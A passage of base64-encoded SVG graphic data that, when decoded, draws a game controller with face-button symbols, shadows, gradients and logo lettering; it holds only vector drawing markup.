pjb25uZWN0b3ItY3VydmF0dXJlPSIwIiB0cmFuc2Zvcm09Im1hdHJpeCgtMSwwLDAsMSwtOTMuNjM1NTEzLDg5OS44MTU1MykiIHN0eWxlPSJmaWxsOnVybCgjcmFkaWFsR3JhZGllbnQ3MDc3KTtmaWx0ZXI6dXJsKCNmaWx0ZXI2NzA3KSIvPjxwYXRoIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNjg4NSIgZD0iTTI2MS4zIDIzMS43QTEyMy42IDEyNC42IDAgMCAxIDEzNy43IDM1Ni4zIDEyMy42IDEyNC42IDAgMCAxIDE0IDIzMS43IDEyMy42IDEyNC42IDAgMCAxIDEzNy43IDEwNy4xIDEyMy42IDEyNC42IDAgMCAxIDI2MS4zIDIzMS43WiIgc3R5bGU9ImZpbGw6dXJsKCNyYWRpYWxHcmFkaWVudDcwNzkpO2ZpbHRlcjp1cmwoI2ZpbHRlcjY3MDcpIi8+PHBhdGggZD0ibTEyLjcgMzAxYzAgMC0yMi41IDEzOS41LTEzLjUgMTQ0LjkgOSA1LjQgMzMuMyA4NC4xIDM3LjggODguNiA0LjUgNC41IDI0LjkgMjQuMSA3MiA3LjIgNDcuMS0xNi45IDE0My4xLTIzNi4yIDE0My4xLTIzNi4yTDMxLjYgMjc1LjlaIiBpZD0icGF0aDY4ODciIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iY3NzemNjYyIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcwODEpIi8+PHJlY3QgaWQ9InJlY3Q2ODg5IiB3aWR0aD0iMzc0LjgiIGhlaWdodD0iMjAuMiIgeD0iMjAwLjciIHk9IjEyMy4yIiBzdHlsZT0iZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzA4Myk7b3BhY2l0eToxIi8+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2ODkxIiBkPSJNMjU3LjUgMjI3QTEyNi41IDEyNy41IDAgMCAxIDEzMSAzNTQuNiAxMjYuNSAxMjcuNSAwIDAgMSA0LjUgMjI3IDEyNi41IDEyNy41IDAgMCAxIDEzMSA5OS41IDEyNi41IDEyNy41IDAgMCAxIDI1Ny41IDIyN1oiIGZpbGw9IiM5Mjk2OTUiLz48ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSg4MzguNzIwMzUsODk5LjgxNTUzKSIgaWQ9Imc2ODkzIj48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9ImFhc3Nzc3NzYSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2ODk1IiBkPSJtLTc0MC40LTgyNS44YzIxLjktMTAuOCA0OS4yLTEwLjggNzEuMSAwIDMuMyAxLjYgNy42IDQuMSA3LjYgOS4xbDAgNy43YzAgNS0zLjQgOS4xLTcuNiA5LjFsLTcxLjEgMGMtNC4yIDAtNy42LTQuMS03LjYtOS4xbDAtNy43YzAtNSA0LjMtNy41IDcuNi05LjF6IiBmaWxsPSIjMmIzMjM2Ii8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJhYXNzc3Nzc2EiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNjg5NyIgZD0ibS03MzkuMi04MjUuNmMyMS4yLTEwLjQgNDcuNS0xMC40IDY4LjcgMCAzLjIgMS42IDcuNCAzLjkgNy40IDguOGwwIDcuNWMwIDQuOS0zLjMgOC44LTcuNCA4LjhsLTY4LjcgMGMtNC4xIDAtNy40LTMuOS03LjQtOC44bDAtNy41YzAtNC45IDQuMi03LjIgNy40LTguOHoiIGNsYXNzPSJzOCIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3Nzc3NzcyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2ODk5IiBkPSJtLTc1MS42LTgxMi4xYzAgMCAxOC4xLTEzLjQgNDUuOS0xMy41IDMwLjQtMC4yIDQ0LjQgMTMuNSA0NC40IDEzLjUgMy43IDIuOCA2LjkgMy45IDcuMyA4LjdsMy40IDM5LjNjMC40IDQuOC0zLjMgOC43LTcuMyA4LjdsLTk3LjEgMGMtNC4xIDAtNy43LTMuOS03LjMtOC43bDMuNC0zOS4zYzAuNC00LjggMi43LTUuOSA3LjMtOC43eiIgZmlsbD0idXJsKCNyYWRpYWxHcmFkaWVudDcwODUpIi8+PHBhdGggZD0ibS03MzkuNS04MjUuMmMyMS40LTEwLjQgNDguMi0xMC40IDY5LjYgMCAzLjMgMS42IDcuNSAzLjkgNy41IDguOGwwIDcuNWMwIDQuOS0zLjMgOC44LTcuNSA4LjhsLTY5LjYgMGMtNC4xIDAtNy41LTMuOS03LjUtOC44bDAtNy41YzAtNC45IDQuMi03LjIgNy41LTguOHoiIGlkPSJwYXRoNjkwMSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJhYXNzc3Nzc2EiIGZpbGw9IiMxNzFiMWQiLz48cGF0aCBkPSJtLTc1MS42LTgxMC44YzAgMCAxOC4xLTEzLjQgNDUuOS0xMy41IDMwLjQtMC4yIDQ0LjQgMTMuNSA0NC40IDEzLjUgMy43IDIuOCA2LjkgMy45IDcuMyA4LjdsMy40IDM5LjNjMC40IDQuOC0zLjMgOC43LTcuMyA4LjdsLTk3LjEgMGMtNC4xIDAtNy43LTMuOS03LjMtOC43bDMuNC0zOS4zYzAuNC00LjggMi43LTUuOSA3LjMtOC43eiIgaWQ9InBhdGg2OTAzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGZpbGw9IiNjY2NlY2UiLz48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNjkwNSIgZD0ibS03NTEuNi04MDkuOWMwIDAgMTguMS0xMy40IDQ1LjktMTMuNSAzMC40LTAuMiA0NC40IDEzLjUgNDQuNCAxMy41IDMuNyAyLjggNi45IDMuOSA3LjMgOC43bDMuNCAzOS4zYzAuNCA0LjgtMy4zIDguNy03LjMgOC43bC05Ny4xIDBjLTQuMSAwLTcuNy0zLjktNy4zLTguN2wzLjQtMzkuM2MwLjQtNC44IDIuNy01LjkgNy4zLTguN3oiIGZpbGw9IiM5Mjk2OTUiLz48L2c+PHBhdGggZD0iTTI1Ny41IDIyOEExMjcuNSAxMjcuNSAwIDAgMSAxMzAgMzU1LjUgMTI3LjUgMTI3LjUgMCAwIDEgMi40IDIyOCAxMjcuNSAxMjcuNSAwIDAgMSAxMzAgMTAwLjUgMTI3LjUgMTI3LjUgMCAwIDEgMjU3LjUgMjI4WiIgaWQ9InBhdGg2OTA3IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA4NykiLz48cmVjdCBpZD0icmVjdDY5MDkiIHdpZHRoPSIzNzQuOCIgaGVpZ2h0PSIxLjkiIHg9IjE4Mi4xIiB5PSIxMjIuNSIgc3R5bGU9ImZpbGw6I2Y5ZjlmOTtmaWx0ZXI6dXJsKCNmaWx0ZXI2ODQ2KTtvcGFjaXR5OjAiLz48cGF0aCBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY5MTEiIGQ9Ik0xNjMuNCAzNTAuM0ExMjcuOSAxMjcuMSAwIDAgMSA2LjggMjYwLjQgMTI3LjkgMTI3LjEgMCAwIDEgOTcuMiAxMDQuOCAxMjcuOSAxMjcuMSAwIDAgMSAyNTMuOCAxOTQuNiAxMjcuOSAxMjcuMSAwIDAgMSAxNjMuNCAzNTAuM1oiIGZpbGw9InVybCgjbGluZWFyR3JhZGllbnQ3MDg5KSIvPjxwYXRoIGQ9Ik0yNTcuNSAyMjcuOUExMjUuNiAxMjYuNSAwIDAgMSAxMzIgMzU0LjQgMTI1LjYgMTI2LjUgMCAwIDEgNi40IDIyNy45IDEyNS42IDEyNi41IDAgMCAxIDEzMiAxMDEuNCAxMjUuNiAxMjYuNSAwIDAgMSAyNTcuNSAyMjcuOVoiIGlkPSJwYXRoNjkxMyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZmlsbD0iIzkyOTY5NSIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iY3NzemNjYyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2OTE1IiBkPSJtNzM0IDMwMWMwIDAgMjIuNSAxMzkuNSAxMy41IDE0NC45LTkgNS40LTMzLjMgODQuMS0zNy44IDg4LjYtNC41IDQuNS0yNC45IDI0LjEtNzIgNy4yQzU5MC43IDUyNC44IDQ5NC43IDMwNS41IDQ5NC43IDMwNS41bDIyMC41LTI5Ljd6IiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5MSkiLz48ZyBpZD0iZzY5MTciIHRyYW5zZm9ybT0ibWF0cml4KC0xLDAsMCwxLDY3Mi40MTQwNiw5MDEuNjE1MTMpIj48cGF0aCBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY5MTkiIGQ9Ik0xODQuNS02NzIuOEExMjYuNSAxMjcuNSAwIDAgMSA1OC01NDUuMiAxMjYuNSAxMjcuNSAwIDAgMS02OC41LTY3Mi44IDEyNi41IDEyNy41IDAgMCAxIDU4LTgwMC4zIDEyNi41IDEyNy41IDAgMCAxIDE4NC41LTY3Mi44WiIgZmlsbD0iIzkyOTY5NSIvPjxwYXRoIGQ9Ik0xODQuNS02NzEuOEExMjcuNSAxMjcuNSAwIDAgMSA1Ny01NDQuMyAxMjcuNSAxMjcuNSAwIDAgMS03MC41LTY3MS44IDEyNy41IDEyNy41IDAgMCAxIDU3LTc5OS40IDEyNy41IDEyNy41IDAgMCAxIDE4NC41LTY3MS44WiIgaWQ9InBhdGg2OTIxIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5MykiLz48cGF0aCBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY5MjMiIGQ9Im05MC40LTU0OS4zYTEyNy45IDEyNy4yIDAgMCAxLTE1Ni42LTg5LjkgMTI3LjkgMTI3LjIgMCAwIDEgOTAuNC0xNTUuOCAxMjcuOSAxMjcuMiAwIDAgMSAxNTYuNiA4OS45IDEyNy45IDEyNy4yIDAgMCAxLTkwLjQgMTU1Ljh6IiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5NSkiLz48cGF0aCBkPSJNMTg0LjUtNjcxLjlBMTI1LjYgMTI2LjUgMCAwIDEgNTktNTQ1LjQgMTI1LjYgMTI2LjUgMCAwIDEtNjYuNi02NzEuOSAxMjUuNiAxMjYuNSAwIDAgMSA1OS03OTguNCAxMjUuNiAxMjYuNSAwIDAgMSAxODQuNS02NzEuOVoiIGlkPSJwYXRoNjkyNSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZmlsbD0iIzkyOTY5NSIvPjwvZz48cGF0aCBpZD0icGF0aDY5MjciIGQ9Im01ODguOCAxNDAuMWMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuMy01MC4zIDBjLTQuOCAwLTguNyAzLjktOC43IDguN2wwIDUwLjdjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjMgMCAwIDUwLjNjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjcgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC4zIDUwLjMgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC43YzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuMyAwIDAtNTAuM2MwLTQuOC0zLjktOC43LTguNy04LjdsLTUwLjcgMHoiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGNsYXNzPSJzMTEiLz48ZWxsaXBzZSBpZD0iZWxsaXBzZTY5MjkiIHJ5PSI2NC4zIiByeD0iMTA1LjYiIGN5PSIxOTIuMyIgY3g9IjYwOS43IiBmaWxsPSIjOTI5Njk1Ii8+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZD0ibTU4OS4zIDEzOS45Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaWQ9InBhdGg2OTMxIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5NykiLz48ZyB0cmFuc2Zvcm09Im1hdHJpeCgxLjE1MDE2MSwwLDAsMS4xNTAxNjEsODcwLjEwODQ2LDk5NC45NjQ1NikiIGlkPSJnNjkzMyI+PGNpcmNsZSByPSIyMi4xIiBjeT0iLTIyNCIgY3g9IjYwOC4xIiBpZD0iY2lyY2xlNjkzNSIgdHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwxLDAsMCwwKSIgZmlsbD0iI2Y5ZjlmOSIvPjxjaXJjbGUgdHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwxLDAsMCwwKSIgaWQ9ImNpcmNsZTY5MzciIGN4PSI2MDcuMiIgY3k9Ii0yMjQiIHI9IjIyLjEiIGZpbGw9InVybCgjbGluZWFyR3JhZGllbnQ3MDk5KSIvPjxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDI4LjM0NjYyOSwwLjAwNDk2Nzg1KSIgaWQ9Imc2OTM5Ij48cGF0aCBkPSJtLTI2Mi44LTYxNy42IDIwLjkgMjAuOU0tMjQxLjktNjE3LjZsLTIwLjkgMjAuOU0tMjQxLjktNjE3LjZsLTIwLjkgMjAuOU0tMjQxLjktNjE3LjZsLTIwLjkgMjAuOSIgaWQ9InBhdGg2OTQxIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBjbGFzcz0iczEzIi8+PC9nPjwvZz48ZyB0cmFuc2Zvcm09Im1hdHJpeCgxLjE1OTg5NDQsMCwwLDEuMTU5ODk0NCw4ODQuNzI1ODEsMTAxMi43MTczKSIgaWQ9Imc2OTQ1Ij48Y2lyY2xlIGlkPSJjaXJjbGU2OTQ3IiBjeD0iLTI4Ni42IiBjeT0iLTY3MC43IiByPSIyMi4xIiBmaWxsPSIjZjlmOWY5Ii8+PGNpcmNsZSByPSIyMi4xIiBjeT0iLTY2OS44IiBjeD0iLTI4Ni42IiBpZD0iY2lyY2xlNjk0OSIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMDEpIi8+PHJlY3QgeT0iLTY4MC4zIiB4PSItMjk3LjEiIGhlaWdodD0iMjAuOSIgd2lkdGg9IjIwLjkiIGlkPSJyZWN0Njk1MSIgc3R5bGU9ImZpbGw6bm9uZTtzdHJva2UtbGluZWpvaW46cm91bmQ7c3Ryb2tlOiNjZjhlYWQiLz48L2c+PGcgdHJhbnNmb3JtPSJtYXRyaXgoMS4xNDc0MDI3LDAsMCwxLjE0NzQwMjcsODY5LjQ5MDY5LDEwMTUuNjY4KSIgaWQ9Imc2OTUzIj48Y2lyY2xlIGlkPSJjaXJjbGU2OTU1IiBjeD0iNzMzLjUiIGN5PSItMjI0IiByPSIyMi4xIiB0cmFuc2Zvcm09Im1hdHJpeCgwLC0xLDEsMCwwLDApIiBmaWxsPSIjZjlmOWY5Ii8+PGNpcmNsZSB0cmFuc2Zvcm09Im1hdHJpeCgwLC0xLDEsMCwwLDApIiByPSIyMi4xIiBjeT0iLTIyNCIgY3g9IjczMi41IiBpZD0iY2lyY2xlNjk1NyIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMDMpIi8+PHBhdGggdHJhbnNmb3JtPSJtYXRyaXgoMS4wOTE0MTQsMCwwLDEuMjE5ODUyMSwtMTguNzczMDgzLDg1LjE5Nzg3KSIgaW5rc2NhcGU6dHJhbnNmb3JtLWNlbnRlci15PSItMy43IiBkPSJtLTE3Ny40LTY2Mi4xLTIxLjIgMCAxMC42LTE4LjR6IiBpbmtzY2FwZTpyYW5kb21pemVkPSIwIiBpbmtzY2FwZTpyb3VuZGVkPSIwIiBpbmtzY2FwZTpmbGF0c2lkZWQ9InRydWUiIHNvZGlwb2RpOmFyZzI9IjEuNiIgc29kaXBvZGk6YXJnMT0iMC41IiBzb2RpcG9kaTpyMj0iNi4xIiBzb2RpcG9kaTpyMT0iMTIuMiIgc29kaXBvZGk6Y3k9Ii02NjguMiIgc29kaXBvZGk6Y3g9Ii0xODgiIHNvZGlwb2RpOnNpZGVzPSIzIiBpZD0icGF0aDY5NTkiIHNvZGlwb2RpOnR5cGU9InN0YXIiIHN0eWxlPSJmaWxsOm5vbmU7c3Ryb2tlLWxpbmVqb2luOnJvdW5kO3N0cm9rZS13aWR0aDoxO3N0cm9rZTojMTQ5NzhlIi8+PC9nPjxnIHRyYW5zZm9ybT0ibWF0cml4KDEuMTM5OTA3NiwwLDAsMS4xMzk5MDc2LDg1Ni44ODQzNSwxMDAwLjM0MTQpIiBpZD0iZzY5NjEiPjxjaXJjbGUgcj0iMjIuMSIgY3k9Ii02NzAuNiIgY3g9Ii0xNjEuMiIgaWQ9ImNpcmNsZTY5NjMiIGZpbGw9IiNmOWY5ZjkiLz48Y2lyY2xlIGlkPSJjaXJjbGU2OTY1IiBjeD0iLTE2MS4zIiBjeT0iLTY2OS44IiByPSIyMi4xIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzEwNSkiLz48Y2lyY2xlIHI9IjEzLjMiIGN5PSItNjY5LjgiIGN4PSItMTYxLjMiIGlkPSJjaXJjbGU2OTY3IiBzdHlsZT0iZmlsbDpub25lO3N0cm9rZS1saW5lam9pbjpyb3VuZDtzdHJva2Utd2lkdGg6MTtzdHJva2U6I2E0NzU3NyIvPjwvZz48ZyBpZD0iZzY5NjkiIHRyYW5zZm9ybT0ibWF0cml4KDAuNjA2MDg3NDEsMCwwLDAuNjA2MDg3NDEsNjYwLjE1MzA3LDY1Mi4xOTg4MikiPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iY2NzY2NzYyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2OTcxIiBkPSJtLTQ4OC40LTY4OS45IDAgNi4xYzAgMC0yNC44IDIuMy0yNC44LTYuMSAwLTUuNCAyNC44LTExLjUgMjQuOC0xMS41bDAgNy4xYzAgMC0xMy43IDMuNy0xMy43IDUuNCAwLjEgNC4xIDEzLjctMSAxMy43LTF6TS00NjkuNi02OTYuNmwwIDcuMk0tNDY5LjYtNjk2LjZsMCA3LjJNLTQ2OS42LTY5Ni42bDAgNy4yYzAgMCAxNy44LTcuNCAyMC42LTQuNCAxIDEuMS0wLjcgMi4yLTYuMSAzLjctNi40IDEuOC0xNC43IDUuNC0xNC43IDUuNGwwIDcuMWMwIDAgOS42LTMuNiAxOC43LTYuNSA5LjItMyAxMy40LTUuMyAxMy4xLTguMi0wLjUtMy43LTkuNC01LjktMTUuMi02LjMtNy44LTAuNS0xNi40IDIuMS0xNi40IDIuMXpNLTQ4NC43LTY4NC4ybDAtNTAuNWMwIDAgMTguMyAzLjEgMjQuNCA4LjcgNC4zIDQgNS45IDUuMiA2LjIgMTUuMiAwLjEgMy43LTIuMSA3LjQtNS44IDkuNC0yLjcgMS40LTcuOS0wLjgtNy45LTAuOGwwLTIwYzAgMC0xLTMtMy0zLjItMS42LTAuMS0yLjIgMS44LTIuMiAxLjhsMCA0MC42YzAgMCAwLjQgNC42LTAuOCA2LjMtMS44IDIuNS00LjkgMy43LTguMSA0LjEtOS45IDEuNC0yOS45LTcuMS0yOS45LTcuMWw5LjctMC4xYzAgMCAxMi4yIDIuNiAxNi41LTAuOCAxLTAuOCAxLTMuNiAxLTMuNnoiIGZpbGw9IiMxNzFiMWQiLz48L2c+PGcgdHJhbnNmb3JtPSJtYXRyaXgoMS43NDI4NjU3LDAsMCwxLjM3MTM4MDUsMjk0My4xMTQ5LDEyMTYuMTk5OSkiIGlkPSJmbG93Um9vdDY5NzciIGNsYXNzPSJzMTQiPjxwYXRoIGQ9Im0tMTQ5My03MDIuNHEwIDAuNy0wLjEgMS4xLTAuMSAwLjQtMC4zIDAuNi0wLjIgMC4yLTAuNSAwLjMtMC4zIDAuMS0wLjggMC4xbC0xLjEgMCAwLTAuNiAxIDBxMC4yIDAgMC40IDAgMC4yLTAuMSAwLjItMC4yIDAuMS0wLjIgMC4xLTAuNSAwLTAuMyAwLTAuOCAwLTAuNSAwLTAuOCAwLTAuMy0wLjEtMC41LTAuMS0wLjItMC4yLTAuMi0wLjEtMC4xLTAuNC0wLjFsLTEuNCAwIDAgNi40LTEgMCAwLTcgMi42IDBxMC41IDAgMC44IDAuMSAwLjMgMC4xIDAuNSAwLjMgMC4yIDAuMiAwLjMgMC43IDAuMSAwLjQgMC4xIDEuMXpNLTE0OTEuNC02OTcuNWwtMSAwIDAtNy4yIDEgMCAwIDcuMk0tMTQ5MS40LTY5Ny41bC0xIDAgMC03LjIgMSAwIDAgNy4yTS0xNDkxLjQtNjk3LjVsLTEgMCAwLTcuMiAxIDAgMCA3LjJ6TS0xNDg4LjItNzAwLjlsMCAwLjYtMC40IDBxLTAuMyAwLTAuNCAwLTAuMiAwLTAuMiAwLjEtMC4xIDAuMS0wLjEgMC4yIDAgMC4xIDAgMC40bDAgMC42cTAgMC4yIDAgMC40IDAgMC4xIDAuMSAwLjIgMC4xIDAuMSAwLjMgMC4xIDAuMiAwIDAuNCAwbDEuMSAwIDAtMy4zcTAtMC4zIDAtMC41IDAtMC4yLTAuMS0wLjMtMC4xLTAuMS0wLjMtMC4yLTAuMiAwLTAuNCAwbC0xLjQgMCAwLTAuNiAxLjggMHEwLjUgMCAwLjcgMC4xIDAuMyAwLjEgMC41IDAuMyAwLjIgMC4yIDAuMiAwLjUgMC4xIDAuMyAwLjEgMC44bDAgMy45LTIuNSAwcS0wLjQgMC0wLjctMC4xLTAuMy0wLjEtMC41LTAuMi0wLjItMC4yLTAuMi0wLjQtMC4xLTAuMi0wLjEtMC42bDAtMC43cTAtMC4zIDAuMS0wLjYgMC4xLTAuMiAwLjItMC40IDAuMi0wLjIgMC41LTAuMiAwLjMtMC4xIDAuNy0wLjFsMC44IDB6TS0xNDg1LTY5NS4zbDAuNi0yLjEtMS44LTUuNyAxLjEgMCAxLjIgNC41IDEuMy00LjUgMSAwLTIuMyA3LjgtMSAwek0tMTQ3Ny4zLTY5OS43cTAgMS4xLTAuNCAxLjYtMC40IDAuNS0xLjMgMC41bC0yLjIgMCAwLTAuNiAyIDBxMC4yIDAgMC40IDAgMC4yIDAgMC4zLTAuMiAwLjEtMC4xIDAuMi0wLjQgMC4xLTAuMyAwLjEtMC43IDAtMC40IDAtMC42IDAtMC4yLTAuMS0wLjQtMC4xLTAuMS0wLjMtMC4yLTAuMiAwLTAuNSAwbC0wLjggMHEtMC40IDAtMC42LTAuMS0wLjMtMC4xLTAuNC0wLjMtMC4yLTAuMi0wLjItMC42LTAuMS0wLjQtMC4xLTAuOSAwLTAuOSAwLjMtMS40IDAuNC0wLjUgMS4yLTAuNWwyIDAgMCAwLjYtMS43IDBxLTAuMiAwLTAuNCAwLjEtMC4xIDAuMS0wLjMgMC4yLTAuMSAwLjEtMC4xIDAuNCAwIDAuMiAwIDAuNiAwIDAuNCAwIDAuNiAwIDAuMiAwLjEgMC40IDAuMSAwLjEgMC4zIDAuMiAwLjIgMC4xIDAuNCAwLjFsMC43IDBxMC40IDAgMC43IDAuMSAwLjMgMC4xIDAuNSAwLjMgMC4yIDAuMiAwLjMgMC42IDAuMSAwLjQgMC4xIDF6TS0xNDc0LjItNzAyLjVsLTEuNCAwIDAgMy41cTAgMC41IDAuMSAwLjcgMC4xIDAuMiAwLjUgMC4ybDAuNSAwIDAgMC42LTAuOSAwcS0wLjQgMC0wLjYtMC4xLTAuMi0wLjEtMC40LTAuMy0wLjEtMC4yLTAuMi0wLjQtMC4xLTAuMi0wLjEtMC41bDAtNS43IDEgMCAwIDEuNSAxLjQgMCAwIDAuNnpNLTE0NzEuNi03MDAuOWwwIDAuNi0wLjQgMHEtMC4zIDAtMC40IDAtMC4yIDAtMC4yIDAuMS0wLjEgMC4xLTAuMSAwLjIgMCAwLjEgMCAwLjRsMCAwLjZxMCAwLjIgMCAwLjQgMCAwLjEgMC4xIDAuMiAwLjEgMC4xIDAuMyAwLjEgMC4yIDAgMC40IDBsMS4xIDAgMC0zLjNxMC0wLjMgMC0wLjUgMC0wLjItMC4xLTAuMy0wLjEtMC4xLTAuMy0wLjItMC4yIDAtMC40IDBsLTEuNCAwIDAtMC42IDEuOCAwcTAuNSAwIDAuNyAwLjEgMC4zIDAuMSAwLjUgMC4zIDAuMiAwLjIgMC4yIDAuNSAwLjEgMC4zIDAuMSAwLjhsMCAzLjktMi41IDBxLTAuNCAwLTAuNy0wLjEtMC4zLTAuMS0wLjUtMC4yLTAuMi0wLjItMC4yLTAuNC0wLjEtMC4yLTAuMS0wLjZsMC0wLjdxMC0wLjMgMC4xLTAuNiAwLjEtMC4yIDAuMi0wLjQgMC4yLTAuMiAwLjUtMC4yIDAuMy0wLjEgMC43LTAuMWwwLjggMHpNLTE0NjcuOS02OTcuNWwtMSAwIDAtNy4yIDEgMCAwIDcuMnpNLTE0NjUuOS02OTcuNWwtMSAwIDAtNy4yIDEgMCAwIDcuMnpNLTE0NjMuOC02OTcuNWwtMSAwIDAtNS41IDEgMCAwIDUuNnptMC02LjMtMSAwIDAtMSAxIDAgMCAxek0tMTQ2MC4xLTcwMy4xcTAuNSAwIDAuNyAwLjEgMC4zIDAuMSAwLjUgMC4zIDAuMiAwLjIgMC4yIDAuNSAwLjEgMC4zIDAuMSAwLjhsMCAyLjJxMCAwLjUtMC4xIDAuOC0wLjEgMC4zLTAuMiAwLjUtMC4yIDAuMi0wLjUgMC4zLTAuMyAwLjEtMC43IDAuMWwtMS4zIDBxLTAuNCAwLTAuNy0wLjEtMC4zLTAuMS0wLjUtMC4zLTAuMi0wLjItMC4yLTAuNS0wLjEtMC4zLTAuMS0wLjhsMC0yLjFxMC0wLjUgMC4xLTAuOCAwLjEtMC4zIDAuMi0wLjUgMC4yLTAuMiAwLjUtMC4zIDAuMy0wLjEgMC43LTAuMWwxLjMgMHptLTEuOCAzLjlxMCAwLjMgMCAwLjUgMCAwLjIgMC4xIDAuMyAwLjEgMC4xIDAuMyAwLjIgMC4yIDAgMC40IDBsMC42IDBxMC4zIDAgMC40IDAgMC4yIDAgMC4zLTAuMSAwLjEtMC4xIDAuMS0wLjMgMC0wLjIgMC0wLjVsMC0yLjJxMC0wLjMgMC0wLjUgMC0wLjItMC4xLTAuMy0wLjEtMC4xLTAuMy0wLjItMC4yIDAtMC40IDBsLTAuNiAwcS0wLjMgMC0wLjQgMC0wLjIgMC0wLjIgMC4yLTAuMSAwLjEtMC4xIDAuMyAwIDAuMiAwIDAuNWwwIDIuMnpNLTE0NTYuNi03MDIuNWwwIDUtMSAwIDAtNS41IDIuNyAwcTAuNSAwIDAuNyAwLjEgMC4zIDAuMSAwLjUgMC4zIDAuMiAwLjIgMC4yIDAuNSAwLjEgMC4zIDAuMSAwLjhsMCAzLjktMSAwIDAtMy45cTAtMC4zIDAtMC41IDAtMC4yLTAuMS0wLjMtMC4xLTAuMS0wLjMtMC4yLTAuMiAwLTAuNCAwbC0xLjQgMHoiIGlkPSJwYXRoNDMzNCIgY2xhc3M9InMxNSIvPjwvZz48ZyB0cmFuc2Zvcm09Im1hdHJpeCg0LjIyNjcyMTksMCwwLDMuMjAwODczMSw2NjkxLjIzNywyNTU5LjE3NzMpIiBpZD0iZmxvd1Jvb3Q2OTg1IiBjbGFzcz0iczE0Ij48cGF0aCBkPSJtLTE1MTUuNC03NDEuMiAwLTEuNyAwLjYgMHEwLjEgMC44IDAuNyAxLjIgMC41IDAuNCAxLjUgMC40IDAuOCAwIDEuMi0wLjMgMC40LTAuMyAwLjQtMC44IDAtMC40LTAuMy0wLjctMC4zLTAuMi0xLjEtMC41bC0xLjEtMC4zcS0xLjEtMC4zLTEuNS0wLjgtMC40LTAuNS0wLjQtMS40IDAtMS4xIDAuNy0xLjcgMC43LTAuNiAyLTAuNiAwLjYgMCAxLjMgMC4xIDAuNyAwLjEgMS40IDAuM2wwIDEuNi0wLjYgMHEtMC4xLTAuOC0wLjYtMS4xLTAuNS0wLjQtMS40LTAuNC0wLjcgMC0xLjEgMC4zLTAuNCAwLjItMC40IDAuNyAwIDAuNSAwLjMgMC43IDAuMyAwLjIgM